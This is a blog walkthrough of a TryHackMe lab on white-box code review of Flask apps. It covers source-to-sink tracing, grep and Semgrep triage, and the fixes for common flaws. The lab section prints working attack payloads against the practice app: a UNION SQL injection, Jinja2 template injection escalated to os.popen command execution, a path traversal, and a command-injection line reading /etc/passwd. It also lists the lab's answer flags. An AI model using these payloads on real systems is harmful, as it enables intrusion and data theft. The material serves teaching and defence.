← Back to list

Web Frameworks: Code Review | TryHackMe Walkthrough (A Beginner’s Guide )

“Read web app source like an attacker: trace user input to dangerous sinks, triage with Semgrep.”

Hibullahi AbdulAzeez in System Weakness · 2026-07-12 14:15 · 0 claps · 11.9 min read
#code-review #tryhackme-walkthrough #tryhackme #cybersecurit #web-security
Open on Medium ↗
Wiki topics: SOC · Sociology & Politics 💻 · Programming 🌐 · Web Development

Web Frameworks: Code Review | TryHackMe Walkthrough (A Beginner’s Guide )

https://tryhackme.com/room/webframeworkscodereview

https://tryhackme.com/room/webframeworkscodereview

“Read web app source like an attacker: trace user input to dangerous sinks, triage with Semgrep.”

This is my full walkthrough of the Web Frameworks: Code Review room on TryHackMe. Let’s dig in.

Difficulty: Medium Flags to collect: 3 Key skills covered: White-box testing methodology, source-to-sink analysis, SQL injection, Server-Side Template Injection (SSTI), path traversal, grep/Semgrep triage, hardcoded secrets

The Big Idea: Three Ways to Test

Before touching a single command, this room introduces a concept worth understanding properly.

Black-box testing means you see exactly what a real user sees — a login form, some endpoints, maybe an error message. You have no idea what’s running behind it. You’re guessing.

White-box testing means you have the full source code. You can read the function behind the login form, see the exact SQL query it builds, and spot the line where it forgets to sanitise input. You’re not guessing anymore.

Grey-box testing is somewhere in between — maybe you have valid credentials, or a slice of the source, but not the whole picture.

This room puts us in grey-box territory: we have source access and valid credentials, but we’re still approaching it like an attacker looking for weaknesses. When source is on the table, bugs that might take hours of fuzzing to discover become visible in minutes — if you know what to look for.

Task 2 — How to Orient in an Unfamiliar Codebase

When you’re handed source code you’ve never seen before, it’s tempting to start reading from the top of the main file. Don’t. Follow a fixed reading order instead:

1. Dependency Manifest first

In a Python project this is requirements.txt. It lists every third-party library and (ideally) the pinned version. Old pinned versions might carry known CVEs — you can search them against a vulnerability database and have a known issue before reading a single line of the app's own code.

2. Configuration file

In Flask, this is typically config.py. Developers make mistakes here before a single request is handled. You're looking for:

  • DEBUG = True left on in production
  • Secret keys written as string literals in the code
  • Database connection strings with embedded passwords
  • Disabled security checks

A DEBUG = True matters a lot — it changes how every bug you find later will behave (among other things, it exposes a Werkzeug debugger that can give you code execution on its own).

3. Routes — your attack surface map

In Flask, routes are marked with the @app.route decorator. List every single one. That list is your attack surface. Every route is a potential entry point, and you want to know all of them before you start testing any of them.

4. Authentication boundaries

With your route list in hand, mark which ones require a login. The interesting ones are either routes that handle sensitive data but are missing a @login_required decorator, or routes that check permissions using a value the client supplies (which an attacker can forge).

Task 2 Answers:

  • Python dependency manifest: requirements.txt
  • Flask route decorator: @app.route
  • Flask config file: config.py

Task 3 — Source-to-Sink Analysis: The Core Mental Model

This is the most important concept in the whole room. Almost every web vulnerability has the same shape:

User-controlled data enters the application → travels through the code → reaches an operation that was never meant to receive attacker input

The entry point is called a source. The dangerous operation is called a sink. The code connecting them is the data flow.

Sources (where user data enters)

In Flask, sources all live on the request object:

request.args      # query string: ?name=value
request.form      # POST form fields
request.json      # JSON request body
request.cookies   # cookie values
request.headers   # HTTP headers
request.files     # uploaded files

Anything that came from the client is a source — including things that don’t feel like “input”, like a Host header or a filename in an upload.

Sinks (where things get dangerous)

A sink is any operation that becomes dangerous when fed attacker input:

Sink Vulnerability cursor.execute(f"... {value}") SQL Injection subprocess.run(cmd, shell=True) Command Injection render_template_string(user_input) Server-Side Template Injection pickle.loads(user_data) Insecure Deserialisation send_file(os.path.join(dir, filename)) Path Traversal eval(user_input) Arbitrary Code Execution

A sink by itself isn’t a bug. A sink reached by a source with nothing safe in between is a bug.

Tracing the path

Between source and sink, there might be:

  • Sanitisation (stripping dangerous characters)
  • Validation (rejecting unexpected values)
  • Type coercion (casting to int() before a query)

Any of these can defuse the threat. Your job is to read that path and decide whether anything actually protects the sink.

You can trace in either direction:

  • Source → sink: follow the user input forward through the code
  • Sink → source: start at the dangerous function and walk backwards to see where its input came from

Both arrive at the same answer.

The Second-Order Pattern

Here’s a trap that catches people out: a value might be cleaned on the way in, stored in the database, and then retrieved later by a completely different function that drops it raw into a query. The entry point is clean. The sink is elsewhere. You need to follow the data into storage and back out again, not just from request to the first handler that touches it.

A Worked Example

@app.route("/greet")
def greet():
    name = request.args.get("name")
    return render_template_string(f"Hello {name}")
  • Source: request.args.get("name") — fully user controlled
  • Sink: render_template_string — compiles its argument as a Jinja2 template
  • Path between them: an f-string that drops name straight into the template text, with zero validation

This is Server-Side Template Injection (SSTI). The user can submit {{7*7}} and get Hello 49 back — because the app executed their input as code.

The safe version keeps the template fixed and passes the value as data:

return render_template("greet.html", name=name)

Task 3 Answers:

  • Entry point we trace back to: source
  • render_template_string and subprocess.run(shell=True) are: sink
  • Vulnerability in the worked example: SSTI

Task 4 — Grepping for Danger

Reading every file by hand doesn’t scale past a small app. The solution is triage — a fast automated first pass that surfaces candidates, followed by manual review that confirms which ones are real.

Grep for dangerous sinks

This single command finds every dangerous sink in your Python codebase:

grep -rn --include="*.py" -E "os\.system|subprocess|eval\(|exec\(|pickle\.loads|render_template_string|cursor\.execute|send_file|open\(" .
  • -r — search recursively
  • -n — print line numbers (so you can jump straight to the hit)
  • --include="*.py" — only search Python files
  • -E — use extended regex so | means "or"

Add -A 3 -B 3 to print three lines of context on each side of a match — usually enough to see whether the argument is a request value.

Grep for secrets and bad config

# Hardcoded secrets
grep -rnE "(SECRET|KEY|TOKEN|PASSWORD|API_KEY)\s*=\s*['\"]" --include="*.py" .
# Debug mode left on
grep -rnE "DEBUG\s*=\s*True|verify\s*=\s*False" .

Semgrep for smarter triage

Where grep matches text, Semgrep matches code structure. It understands that a function call is a function call regardless of spacing or variable names, and it ships community-written rulesets for common vulnerability patterns.

semgrep --config p/owasp-top-ten .

The --config flag selects the ruleset. Each Semgrep finding gives you: a rule name, a file, a line number, and a severity. Treat every finding as a candidate — Semgrep flagged a pattern, but you still need to confirm the input is user-controlled.

The critical distinction: grep and Semgrep produce candidates, never confirmed findings. A cursor.execute hit is not a vulnerability until you walk the code back and confirm a user-controlled value reaches it.

Task 4 Answers:

  • Grep flags for recursion + line numbers: -rn
  • Semgrep flag to select a ruleset: --config

Task 5 — Injection Vulnerabilities in Code

SQL Injection

The bug: building a query by pasting user input directly into the SQL string.

# Vulnerable
q = request.args.get("q")
cursor.execute(f"SELECT * FROM items WHERE name = '{q}'")

If q is ' OR '1'='1, the query becomes WHERE name = '' OR '1'='1' — which returns every row.

The fix: parameterised queries, where the database driver keeps data and code strictly separate:

# Safe
cursor.execute("SELECT * FROM items WHERE name = ?", (q,))

Note: ORMs like SQLAlchemy normally protect you, but escape hatches like .raw() or text() hand you a string to assemble yourself — and lose that protection instantly.

Command Injection

The bug: putting user input into a command string that a shell will parse.

# Vulnerable
host = request.args.get("host")
subprocess.run(f"ping -c 1 {host}", shell=True)

With shell=True, the whole string goes to /bin/sh. A value of 127.0.0.1; cat /etc/passwd runs a second command.

The fix: pass arguments as a list, no shell:

# Safe
subprocess.run(["ping", "-c", "1", host])

With a list and no shell, every element is a literal argument. There’s no syntax left for an attacker to inject.

Server-Side Template Injection (SSTI)

The bug: rendering user input as a template rather than passing it into a template.

# Vulnerable
name = request.args.get("name")
return render_template_string("Hello " + name)

Jinja2 evaluates expressions inside {{ }}. Because this runs inside the same Python process as the server, template injection isn't limited to printing text — it can reach code execution by climbing Python's object graph.

The fix:

# Safe
return render_template("hello.html", name=name)

The smoke test is {{7*7}}. If the response contains 49, your input was evaluated as code.

Insecure Deserialisation

The bug: deserialising attacker-controlled bytes with pickle, which can construct arbitrary objects — including ones that execute code on load.

# Vulnerable
data = request.cookies.get("prefs")
prefs = pickle.loads(base64.b64decode(data))

The fix: never use pickle for user-supplied data. Use JSON instead, which is data-only with no execution capability.

Task 5 Answers:

  • Keyword argument that opens command injection: shell=True
  • Worst offender for insecure deserialisation: pickle.loads

Task 6 — Access Control, Path Traversal, and Hardcoded Secrets

Path Traversal

The bug: building a file path from user input without checking the result stays inside the intended directory.

# Vulnerable
filename = request.args.get("file")
return send_file(os.path.join(UPLOAD_DIR, filename))

os.path.join doesn't protect you — it's just string joining with separators. A filename of ../../etc/passwd walks straight out of the upload folder. Worse: if filename is an absolute path like /etc/passwd, os.path.join discards UPLOAD_DIR entirely.

The fix:

# Safe
return send_from_directory(UPLOAD_DIR, filename)

send_from_directory routes through Werkzeug's safe_join, which rejects any path that escapes the directory and returns a 404.

The impact is read access to any file the app’s process user can reach: source code, config files with secrets, SSH keys, /etc/passwd.

Broken Access Control / IDOR

The bug: a handler that acts on a resource by ID without checking the requester is allowed to access that ID.

# Vulnerable
@app.route("/vault/<int:item_id>")
@login_required
def vault(item_id):
    record = Vault.query.get(item_id)
    return jsonify(record.data)

This route requires login — but any logged-in user can read any record by guessing the ID. That’s an Insecure Direct Object Reference (IDOR).

The fix: add an ownership check to the query:

record = Vault.query.filter_by(id=item_id, owner_id=current_user.id).first_or_404()

In code review, this is fast to spot: find the database lookup, read its WHERE clause, and check whether it filters on ownership as well as ID.

Hardcoded Secrets

The bug: a secret written as a string literal in source code.

# Vulnerable
SECRET_KEY = "fl4sk_s3cr3t_d0_n0t_sh1p_2026"

A SECRET_KEY in source is compromised the moment anyone reads the repository — and Git keeps it in history even after you delete it in a later commit.

For Flask specifically, anyone who reads the SECRET_KEY can forge signed session cookies and authenticate as any user.

The fix: load secrets from environment variables at runtime, never hardcode them.

Task 6 Answers:

  • Safe counterpart to send_file(os.path.join(...)): send_from_directory
  • Access control flaw from missing owner check: IDOR

Task 7 — The Practical: Auditing Vaultkeeper

Now we apply the full method to a real (deliberately vulnerable) Flask application called Vaultkeeper. We have:

  • The running app at http://<machine_IP>:8080
  • A source viewer at http://<machine_IP>
  • SSH access with grep and Semgrep already installed

Credentials for both: analyst / vaultkeeper

Step 1: Map the Attack Surface

SSH into the machine and navigate to the source:

ssh analyst@<machine_IP>   # password: vaultkeeper
cd ~/vaultkeeper
ls
# app.py  config.py  init_db.py  requirements.txt  templates  uploads

Apply the reading order. First, check configuration for quick wins:

grep -rnE "DEBUG\s*=\s*True|SECRET_KEY\s*=" --include="*.py" .

Output:

./config.py:6:SECRET_KEY = "vk_s3cr3t_d0_n0t_sh1p_2026"
./config.py:7:DEBUG = True

Two findings before we’ve even read a route handler: a hardcoded secret key and debug mode left on. In a real engagement, the SECRET_KEY alone means we can forge session cookies for any user.

Now list every route:

grep -rn "@app.route" --include="*.py" .

Output:

./app.py:50:  @app.route("/")
./app.py:55:  @app.route("/login", methods=["GET", "POST"])
./app.py:73:  @app.route("/logout")
./app.py:79:  @app.route("/search")
./app.py:105: @app.route("/vault/<int:item_id>")
./app.py:117: @app.route("/files/download")

Our attack surface: a search endpoint, a file download endpoint, and a per-record vault endpoint. The interesting ones to probe are /search, /files/download, and /vault/<id>.

Step 2: Triage with Grep and Semgrep

Hunt the dangerous sinks:

grep -rn --include="*.py" -E "cursor\.execute|render_template_string|send_file|os\.path\.join" .

Key hits in the output:

./app.py:86:  heading = render_template_string("Results for: " + q) if q else ""
./app.py:93:  cursor.execute(
./app.py:121: path = os.path.join(UPLOAD_DIR, filename)
./app.py:124: return send_file(path)

There’s also noise — import lines and the DB_PATH joins — which is exactly the point. grep gives us candidates, not confirmed findings. Now let Semgrep narrow it down:

semgrep --config /opt/review/semgrep-rules .

Semgrep returns 4 findings:

  1. SSTI — render_template_string("Results for: " + q) on line 86
  2. SQL Injection — f-string inside cursor.execute() on lines 93–95
  3. Path Traversal — user-controlled value flows into send_file() on line 124
  4. Hardcoded Secret — SECRET_KEY assigned as a string literal in config.py

This is our confirmed candidate list. Now we verify each one against the running app.

Step 3: Exploit the Findings

The search and download routes require a login session. We log in once with curl and save the session cookie to a file called jar, then reuse it for every subsequent request:

curl -s -c jar --data "username=analyst&password=vaultkeeper" \
  "http://<machine_IP>:8080/login"

Finding 1 — SQL Injection in /search (Flag 1)

Reading app.py around line 93, the search handler builds its query like this:

q = request.args.get("q")
uid = session["user_id"]
cursor.execute(
    f"SELECT title, secret FROM vault WHERE owner_id = {uid} AND title LIKE '%{q}%'"
)

q is dropped directly into an f-string inside a SQL query — textbook SQL injection. The query filters on owner_id, so a normal search only returns the logged-in user's records.

But looking at init_db.py, we can see there's a system_flags table that holds the flag we want. To reach it, we use a UNION attack:

' UNION SELECT flag, flag FROM system_flags-- -

Let me break down exactly what this does:

  • The opening ' closes the LIKE '% that the handler was building, making the SQL valid up to that point
  • UNION SELECT flag, flag appends a second query — we select flag twice because the original query returns two columns (title and secret), and a UNION must match the column count
  • FROM system_flags pulls from the table we want
  • -- - comments out the remaining %' that the handler would have appended, preventing a syntax error

curl -s -b jar --get "http://<machine_IP>:8080/search" \
  --data-urlencode "q=' UNION SELECT flag, flag FROM system_flags-- -" \
  | grep -oE 'THM\{[^}]+\}' | head -1
Flag 1: THM{un10n_b4s3d_sql1_dump3d}

Finding 2 — SSTI in /search (Flag 2)

The same search handler has a second vulnerability. After running the query, it echoes the search term back to the user like this:

heading = render_template_string("Results for: " + q) if q else ""

render_template_string compiles whatever string you give it as a live Jinja2 template. Because q is concatenated directly into that string, our search term becomes part of the template — which means we control template syntax.

First, confirm the injection with the classic test:

curl -s -b jar --get "http://<machine_IP>:8080/search" \
  --data-urlencode "q={{7*7}}" \
  | grep -oE 'Results for: [0-9]+'
Results for: 49

The server evaluated 7*7 and printed 49. We have SSTI.

Now we escalate to code execution. Jinja2 templates run inside the same Python process as the server, and Python objects expose their internals through attributes. We climb the object graph like this:

  • cycler is a helper Jinja2 always exposes in templates
  • cycler.__init__ is its constructor — an ordinary Python function
  • cycler.__init__.__globals__ is the global namespace of the module where that function was defined (jinja2.utils)
  • That module imports os, so cycler.__init__.__globals__.os gives us the os module
  • os.popen('printenv FLAG2').read() runs a shell command and returns its output

curl -s -b jar --get "http://<machine_IP>:8080/search" \
  --data-urlencode "q={{ cycler.__init__.__globals__.os.popen('printenv FLAG2').read() }}" \
  | grep -oE 'THM\{[^}]+\}'
Flag 2: THM{j1nj4_ss71_to_rc3}

Finding 3 — Path Traversal in /files/download (Flag 3)

Reading the download handler around line 117:

filename = request.args.get("file")
path = os.path.join(UPLOAD_DIR, filename)
return send_file(path)

The handler takes filename from the URL, joins it onto UPLOAD_DIR, and calls send_file with no validation whatsoever. There's no check that the resulting path stays inside UPLOAD_DIR.

By supplying ../../../flag3.txt as the filename, we walk three directories up out of the uploads folder and read an arbitrary file from the system:

curl -s -b jar "http://<machine_IP>:8080/files/download?file=../../../flag3.txt"
Flag 3: THM{send_file_tr4v3rs4l_w1n}

Vulnerabilities Found But Not Exploited

A real audit report lists every finding, not just the ones that produced flags. Two more issues are present in Vaultkeeper that are worth noting:

Broken Access Control / IDOR on /vault/<id> — the handler queries by ID alone, with no ownership check. Any authenticated user can read any other user's vault records by incrementing the number in the URL.

Hardcoded SECRET_KEY — the key vk_s3cr3t_d0_n0t_sh1p_2026 is committed in config.py. With it, an attacker can forge Flask session cookies and authenticate as any user, including admin accounts.

Happy hacking! If any concept didn’t click, drop a comment and I’m happy to go deeper.


메타데이터
post_id
6b3b0ac76d7c
slug
web-frameworks-code-review-tryhackme-walkthrough-a-beginners-guide-6b3b0ac76d7c
url
https://medium.com/@cyb3rleo/web-frameworks-code-review-tryhackme-walkthrough-a-beginners-guide-6b3b0ac76d7c
canonical_url
https://medium.com/@cyb3rleo/web-frameworks-code-review-tryhackme-walkthrough-a-beginners-guide-6b3b0ac76d7c
author_url
https://medium.com/@cyb3rleo
status
ok
fetched_at
2026-07-15 14:44:23